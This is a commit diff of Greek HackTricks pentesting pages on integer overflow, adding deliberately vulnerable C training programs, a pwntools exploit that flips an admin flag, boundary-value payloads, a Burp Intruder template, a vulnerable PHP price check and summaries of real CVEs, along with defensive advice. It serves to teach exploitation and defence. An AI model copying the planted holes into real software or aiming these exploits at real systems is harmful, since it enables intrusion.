Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo

This commit is contained in:
Translator 2025-09-07 14:59:46 +00:00
parent 0fe6b537d6
commit a36aa9433e
4 changed files with 408 additions and 154 deletions

View File

@ -785,7 +785,7 @@
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

View File

@ -0,0 +1,368 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
Στον πυρήνα ενός **integer overflow** βρίσκεται ο περιορισμός που επιβάλλει το **μέγεθος** των τύπων δεδομένων στον προγραμματισμό και η **ερμηνεία** των δεδομένων.
Για παράδειγμα, ένας **8-bit unsigned integer** μπορεί να αναπαραστήσει τιμές από **0 to 255**. Αν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-bit unsigned integer, τυλίγεται στο 0 λόγω του περιορισμού της χωρητικότητάς του. Ομοίως, για έναν **16-bit unsigned integer**, που μπορεί να κρατήσει τιμές από **0 to 65,535**, η προσθήκη 1 στο 65,535 θα κάνει την τιμή να επιστρέψει στο 0.
Επιπλέον, ένας **8-bit signed integer** μπορεί να αναπαραστήσει τιμές από **-128 to 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για την αναπαράσταση του πρόσημου (θετικό ή αρνητικό), αφήνοντας 7 bits για την αναπαράσταση του μεγέθους. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (binary `10000000`), και ο πιο θετικός αριθμός είναι **127** (binary `01111111`).
Μέγιστες τιμές για κοινούς τύπους ακεραίων:
| Τύπος | Μέγεθος (bits) | Ελάχιστη Τιμή | Μέγιστη Τιμή |
|----------------|-------------|--------------------|--------------------|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
Ένα short είναι ισοδύναμο με `int16_t` και ένα int είναι ισοδύναμο με `int32_t` και ένα long είναι ισοδύναμο με `int64_t` σε συστήματα 64bits.
### Μέγιστες τιμές
Για πιθανές **web vulnerabilities** είναι πολύ χρήσιμο να γνωρίζετε τις μέγιστες υποστηριζόμενες τιμές:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Παραδείγματα
### Καθαρό overflow
Το εκτυπωμένο αποτέλεσμα θα είναι 0 καθώς προκαλέσαμε overflow στο char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Μετατροπή Signed σε Unsigned
Εξετάστε μια περίπτωση όπου ένας signed ακέραιος διαβάζεται από την είσοδο χρήστη και στη συνέχεια χρησιμοποιείται σε ένα πλαίσιο που τον αντιμετωπίζει ως unsigned ακέραιο, χωρίς κατάλληλο έλεγχο:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Σε αυτό το παράδειγμα, αν ένας χρήστης εισάγει έναν αρνητικό αριθμό, αυτός θα ερμηνευτεί ως μεγάλος unsigned integer λόγω του τρόπου με τον οποίο ερμηνεύονται οι δυαδικές τιμές, ενδεχομένως οδηγώντας σε απροσδόκητη συμπεριφορά.
### macOS Overflow Example
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Μεταγλωττίστε το με:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until its actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
```
### macOS Underflow Παράδειγμα
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Μεταγλωττίστε το με:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### Άλλα Παραδείγματα
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Χρησιμοποιείται μόνο 1B για να αποθηκευτεί το μέγεθος του password, οπότε είναι δυνατό να γίνει overflow και να το κάνει να πιστέψει ότι το μήκος είναι 4 ενώ στην πραγματικότητα είναι 260, για να bypass την length check protection
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Δεδομένων μερικών αριθμών, βρες με χρήση z3 έναν νέο αριθμό που, όταν πολλαπλασιαστεί με τον πρώτο, θα δώσει τον δεύτερο:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Χρησιμοποιείται μόνο 1B για να αποθηκευτεί το μέγεθος του password, οπότε είναι δυνατό να γίνει overflow και να το κάνει να πιστέψει ότι το μήκος του είναι 4 ενώ στην πραγματικότητα είναι 260, για να bypass την length check protection και να overwrite στο stack την επόμενη local variable και να bypass και τις δύο protections
## ARM64
Αυτό **δεν αλλάζει σε ARM64** όπως μπορείτε να δείτε στο [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,115 +0,0 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Basic Information
Στην καρδιά ενός **integer overflow** βρίσκεται ο περιορισμός που επιβάλλεται από το **μέγεθος** των τύπων δεδομένων στον προγραμματισμό υπολογιστών και την **ερμηνεία** των δεδομένων.
Για παράδειγμα, ένας **8-bit unsigned integer** μπορεί να αναπαραστήσει τιμές από **0 έως 255**. Αν προσπαθήσετε να αποθηκεύσετε την τιμή 256 σε έναν 8-bit unsigned integer, θα επανέλθει στο 0 λόγω του περιορισμού της χωρητικότητάς του. Ομοίως, για έναν **16-bit unsigned integer**, ο οποίος μπορεί να κρατήσει τιμές από **0 έως 65,535**, η προσθήκη 1 στο 65,535 θα επαναφέρει την τιμή στο 0.
Επιπλέον, ένας **8-bit signed integer** μπορεί να αναπαραστήσει τιμές από **-128 έως 127**. Αυτό συμβαίνει επειδή ένα bit χρησιμοποιείται για να αναπαραστήσει το πρόσημο (θετικό ή αρνητικό), αφήνοντας 7 bits για να αναπαραστήσουν το μέγεθος. Ο πιο αρνητικός αριθμός αναπαρίσταται ως **-128** (δυαδικό `10000000`), και ο πιο θετικός αριθμός είναι **127** (δυαδικό `01111111`).
### Max values
Για τις πιθανές **web vulnerabilities** είναι πολύ ενδιαφέρον να γνωρίζουμε τις μέγιστες υποστηριζόμενες τιμές:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Παραδείγματα
### Καθαρή υπερχείλιση
Το εκτυπωμένο αποτέλεσμα θα είναι 0 καθώς υπερχείλαμε το char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Σκεφτείτε μια κατάσταση όπου ένας υπογεγραμμένος ακέραιος διαβάζεται από την είσοδο του χρήστη και στη συνέχεια χρησιμοποιείται σε ένα πλαίσιο που τον αντιμετωπίζει ως άυλο ακέραιο, χωρίς κατάλληλη επικύρωση:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Σε αυτό το παράδειγμα, αν ένας χρήστης εισάγει έναν αρνητικό αριθμό, θα ερμηνευτεί ως ένας μεγάλος μη υπογεγραμμένος ακέραιος λόγω του τρόπου που ερμηνεύονται οι δυαδικές τιμές, ενδεχομένως οδηγώντας σε απροσδόκητη συμπεριφορά.
### Άλλα Παραδείγματα
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Δεδομένων μερικών αριθμών, βρείτε χρησιμοποιώντας το z3 έναν νέο αριθμό που πολλαπλασιαζόμενος με τον πρώτο θα δώσει τον δεύτερο:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Μόνο 1B χρησιμοποιείται για να αποθηκεύσει το μέγεθος του κωδικού πρόσβασης, οπότε είναι δυνατό να υπερχειλίσει και να νομίζει ότι έχει μήκος 4 ενώ στην πραγματικότητα είναι 260 για να παρακάμψει την προστασία ελέγχου μήκους και να επαναγράψει στη στοίβα την επόμενη τοπική μεταβλητή και να παρακάμψει και τις δύο προστασίες
## ARM64
Αυτό **δεν αλλάζει σε ARM64** όπως μπορείτε να δείτε σε [**αυτή την ανάρτηση blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,46 +1,45 @@
# Υπερχείλιση Ακέραιου (Εφαρμογές Ιστού)
# Integer Overflow (Web Applications)
{{#include ../../banners/hacktricks-training.md}}
> Αυτή η σελίδα εστιάζει στο πώς **οι υπερχειλίσεις/κοπές ακέραιων αριθμών μπορούν να καταχραστούν σε εφαρμογές ιστού και προγράμματα περιήγησης**. Για τις πρωτογενείς εκμεταλλεύσεις μέσα σε εγγενείς δυαδικούς κώδικες μπορείτε να συνεχίσετε να διαβάζετε τη σελίδα που είναι αφιερωμένη σε αυτό:
> Αυτή η σελίδα επικεντρώνεται στο πώς **integer overflows/truncations μπορούν να καταχραστούν σε web applications και browsers**. Για exploitation primitives μέσα σε native binaries μπορείτε να συνεχίσετε να διαβάζετε την αφιερωμένη σελίδα:
>
>
{{#ref}}
> ../../binary-exploitation/integer-overflow-and-underflow.md
>
{{#endref}}
> {{#endref}}
---
## 1. Γιατί η αριθμητική με ακέραιους αριθμούς εξακολουθεί να έχει σημασία στο διαδίκτυο
## 1. Why integer math still matters on the web
Ακόμα και αν η πλειονότητα της επιχειρηματικής λογικής σε σύγχρονες στοίβες είναι γραμμένη σε *ασφαλείς μνήμες* γλώσσες, η υποκείμενη εκτέλεση (ή οι βιβλιοθήκες τρίτων) τελικά υλοποιείται σε C/C++. Όποτε χρησιμοποιούνται αριθμοί που ελέγχονται από τον χρήστη για την κατανομή μνημών, τον υπολογισμό μετατοπίσεων ή την εκτέλεση ελέγχων μήκους, **μια περιτύλιξη 32-bit ή 64-bit μπορεί να μετατρέψει μια φαινομενικά αβλαβή παράμετρο σε μια ανάγνωση/γραφή εκτός ορίων, μια παράκαμψη λογικής ή μια DoS**.
Ακόμα και αν το μεγαλύτερο μέρος της business-logic στα σύγχρονα stacks γράφεται σε *ασφαλείς στη μνήμη* γλώσσες, το υποκείμενο runtime (ή third-party βιβλιοθήκες) τελικά υλοποιείται σε C/C++. Όποτε αριθμοί που ελέγχονται από τον χρήστη χρησιμοποιούνται για allocation buffers, υπολογισμό offsets, ή εκτέλεση length checks, **a 32-bit or 64-bit wrap-around μπορεί να μετατρέψει μια φαινομενικά αβλαβή παράμετρο σε out-of-bounds read/write, σε logic bypass ή σε DoS**.
Τυπική επιφάνεια επίθεσης:
1. **Αριθμητικές παράμετροι αιτήματος** κλασικά πεδία id, offset ή count.
2. **Επικεφαλίδες μήκους/μεγέθους** Content-Length, μήκος πλαισίου WebSocket, HTTP/2 continuation_len, κ.λπ.
3. **Μεταδεδομένα μορφής αρχείου που αναλύονται από τον διακομιστή ή τον πελάτη** διαστάσεις εικόνας, μεγέθη τμημάτων, πίνακες γραμματοσειρών.
4. **Μετατροπές σε επίπεδο γλώσσας** υπογεγραμμένες↔μη υπογεγραμμένες μετατροπές σε PHP/Go/Rust FFI, JS Number → int32 κοπές μέσα στο V8.
5. **Αυθεντικοποίηση & επιχειρηματική λογική** αξία κουπονιού, τιμή ή υπολογισμοί υπολοίπου που υπερχειλίζουν σιωπηλά.
1. **Numeric request parameters** classic id, offset, or count fields.
2. **Length / size headers** Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
3. **File-format metadata parsed server-side or client-side** image dimensions, chunk sizes, font tables.
4. **Language-level conversions** signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
5. **Authentication & business logic** coupon value, price, or balance calculations that silently overflow.
---
## 2. Πρόσφατες πραγματικές ευπάθειες (2023-2025)
## 2. Recent real-world vulnerabilities (2023-2025)
| Έτος | Συστατικό | Ρίζα αιτίας | Επιπτώσεις |
| Year | Component | Root cause | Impact |
|------|-----------|-----------|--------|
| 2023 | **libwebp CVE-2023-4863** | Υπερχείλιση πολλαπλασιασμού 32-bit κατά τον υπολογισμό του μεγέθους αποκωδικοποιημένων εικονοστοιχείων | Προκάλεσε ένα 0-day Chrome (BLASTPASS σε iOS), επέτρεψε *εκτέλεση απομακρυσμένου κώδικα* μέσα στο sandbox του renderer. |
| 2024 | **V8 CVE-2024-0519** | Κοπή σε 32-bit κατά την αύξηση ενός JSArray οδηγεί σε OOB εγγραφή στο backing store | Εκτέλεση απομακρυσμένου κώδικα μετά από μία μόνο επίσκεψη. |
| 2025 | **Apollo GraphQL Server** (μη δημοσιευμένο patch) | Χρησιμοποιήθηκε 32-bit υπογεγραμμένος ακέραιος για τα πρώτα/τελευταία επιχειρήματα σε σελίδες; αρνητικές τιμές περιτυλίγονται σε τεράστιες θετικές | Παράκαμψη λογικής & εξάντληση μνήμης (DoS). |
| 2023 | **libwebp CVE-2023-4863** | υπερχείλιση πολλαπλασιασμού 32-bit κατά τον υπολογισμό του decoded pixel size | Προκάλεσε ένα Chrome 0-day (BLASTPASS στο iOS), επέτρεψε *remote code execution* μέσα στο renderer sandbox. |
| 2024 | **V8 CVE-2024-0519** | συντόμευση σε 32-bit όταν αυξάνεται ένα JSArray οδηγεί σε OOB write στο backing store | Remote code execution μετά από μια μόνο επίσκεψη. |
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer που χρησιμοποιήθηκε για first/last pagination args; αρνητικές τιμές τυλίγονται σε τεράστιες θετικές | Παράκαμψη λογικής & εξάντληση μνήμης (DoS). |
---
## 3. Στρατηγική δοκιμών
## 3. Testing strategy
### 3.1 Φύλλο συμβουλών οριακής τιμής
### 3.1 Boundary-value cheat-sheet
Στείλτε **ακραίες υπογεγραμμένες/μη υπογεγραμμένες τιμές** όπου αναμένεται ένας ακέραιος:
Αποστέλλετε **ακραίες signed/unsigned τιμές** οπουδήποτε αναμένεται ακέραιος:
```
-1, 0, 1,
127, 128, 255, 256,
@ -50,8 +49,8 @@
0x7fffffff, 0x80000000, 0xffffffff
```
Άλλες χρήσιμες μορφές:
* Hex (0x100), οκταδική (0377), επιστημονική (1e10), JSON big-int (9999999999999999999).
* Πολύ μεγάλες ακολουθίες ψηφίων (>1kB) για να χτυπήσουν προσαρμοσμένους αναλυτές.
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
* Πολύ μεγάλες αλυσίδες ψηφίων (>1kB) για να προκαλέσουν σφάλματα σε custom parsers.
### 3.2 Πρότυπο Burp Intruder
```
@ -60,17 +59,17 @@ Payload type: Numbers
From: -10 To: 4294967300 Step: 1
Pad to length: 10, Enable hex prefix 0x
```
### 3.3 Fuzzing βιβλιοθήκες & runtimes
### 3.3 Fuzzing libraries & runtimes
* **AFL++/Honggfuzz** με libFuzzer harness γύρω από τον parser (π.χ., WebP, PNG, protobuf).
* **Fuzzilli** γραμματικά ευαίσθητο fuzzing μηχανών JavaScript για να χτυπήσει τις ακροτηριασμούς ακεραίων V8/JSC.
* **boofuzz** fuzzing δικτυακού πρωτοκόλλου (WebSocket, HTTP/2) εστιάζοντας στα πεδία μήκους.
* **Fuzzilli** fuzzing με επίγνωση γραμματικής των JavaScript engines για να χτυπήσει integer truncations στο V8/JSC.
* **boofuzz** fuzzing πρωτοκόλλων δικτύου (WebSocket, HTTP/2) με έμφαση σε πεδία μήκους.
---
## 4. Πρότυπα εκμετάλλευσης
## 4. Μοτίβα εκμετάλλευσης
### 4.1 Παράκαμψη λογικής στον κωδικό πλευράς διακομιστή (παράδειγμα PHP)
### 4.1 Παράκαμψη λογικής σε server-side κώδικα (παράδειγμα PHP)
```php
$price = (int)$_POST['price']; // expecting cents (0-10000)
$total = $price * 100; // ← 32-bit overflow possible
@ -79,26 +78,28 @@ die('Too expensive');
}
/* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */
```
### 4.2 Υπερχείλιση σωρού μέσω αποκωδικοποιητή εικόνας (libwebp 0-day)
Ο αποκωδικοποιητής WebP χωρίς απώλειες πολλαπλασίασε το πλάτος εικόνας × ύψος × 4 (RGBA) μέσα σε έναν 32-bit int. Ένα κατασκευασμένο αρχείο με διαστάσεις 16384 × 16384 υπερχειλίζει τον πολλαπλασιασμό, εκχωρεί ένα σύντομο buffer και στη συνέχεια γράφει **~1GB** αποσυμπιεσμένων δεδομένων πέρα από τον σωρό οδηγώντας σε RCE σε κάθε πρόγραμμα περιήγησης βασισμένο σε Chromium πριν από την έκδοση 116.0.5845.187.
### 4.2 Heap overflow via image decoder (libwebp 0-day)
Ο WebP lossless decoder πολλαπλασίαζε το image width × height × 4 (RGBA) μέσα σε ένα 32-bit int. Ένα crafted αρχείο με διαστάσεις 16384 × 16384 προκαλεί overflow στον πολλαπλασιασμό, δεσμεύει έναν μικρό buffer και στη συνέχεια γράφει **~1GB** αποσυμπιεσμένων δεδομένων πέρα από το heap οδηγώντας σε RCE σε κάθε Chromium-based browser πριν την 116.0.5845.187.
### 4.3 Αλυσίδα XSS/RCE βασισμένη σε πρόγραμμα περιήγησης
1. **Υπερχείλιση ακέραιου** στο V8 δίνει αυθαίρετη ανάγνωση/γραφή.
2. Ξεφύγετε από το sandbox με ένα δεύτερο σφάλμα ή καλέστε εγγενή APIs για να ρίξετε ένα payload.
3. Το payload στη συνέχεια εισάγει ένα κακόβουλο σενάριο στο αρχικό πλαίσιο → αποθηκευμένο XSS.
### 4.3 Browser-based XSS/RCE chain
1. **Integer overflow** στο V8 παρέχει arbitrary read/write.
2. Escape the sandbox με δεύτερο bug ή κλήση native APIs για να εγκατασταθεί ένα payload.
3. Το payload στη συνέχεια εισάγει ένα κακόβουλο script στο origin context → stored XSS.
---
## 5. Κατευθυντήριες γραμμές άμυνας
## 5. Οδηγίες άμυνας
1. **Χρησιμοποιήστε ευρείες τύπους ή ελεγμένη αριθμητική** π.χ., size_t, Rust checked_add, Go math/bits.Add64.
2. **Επικυρώστε τα εύρη νωρίς**: απορρίψτε οποιαδήποτε τιμή εκτός του επιχειρηματικού τομέα πριν από την αριθμητική.
3. **Ενεργοποιήστε τους απολυμαντές του μεταγλωττιστή**: -fsanitize=integer, UBSan, Go race detector.
4. **Υιοθετήστε fuzzing στο CI/CD** συνδυάστε την ανατροφοδότηση κάλυψης με όρια corpora.
5. **Μείνετε ενημερωμένοι** τα σφάλματα υπερχείλισης ακέραιου σε προγράμματα περιήγησης συχνά όπλιζονται εντός εβδομάδων.
1. **Use wide types or checked math** π.χ. size_t, Rust checked_add, Go math/bits.Add64.
2. **Validate ranges early**: απορρίψτε οποιαδήποτε τιμή εκτός του business domain πριν από αριθμητικές πράξεις.
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
4. **Adopt fuzzing in CI/CD** συνδυάστε coverage feedback με boundary corpora.
5. **Stay patched** browser integer overflow bugs συχνά weaponised μέσα σε λίγες εβδομάδες.
---
## Αναφορές
* [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)